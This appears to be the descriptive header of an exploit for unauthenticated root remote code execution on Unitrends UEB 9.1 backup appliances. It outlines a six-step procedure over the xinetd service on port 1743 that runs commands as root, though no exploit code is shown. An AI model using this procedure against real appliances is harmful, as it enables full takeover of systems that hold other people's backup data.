Unauthenticated root RCE for Unitrends UEB 9.1
Tested against appliance versions:
[+] 9.1.0-2.201611302120.CentOS6
This exploit uses roughly the same process to gain root execution
as does the apache user on the Unitrends appliance. The process is
something like this:
1. Connect to xinetd process (it's usually running on port 1743)
2. This process will send something like: '?A,Connect36092'
3. Initiate a second connection to the port specified
in the packet from xinetd (36092 in this example)
4. send a specially crafted packet to xinetd, containing the
command to be executed as root
5. Receive command output from the connection to port 36092
6. Close both connections
NB: Even if you don't strictly need output from your command,
The second connection must still be made for the command
to be executed at all.
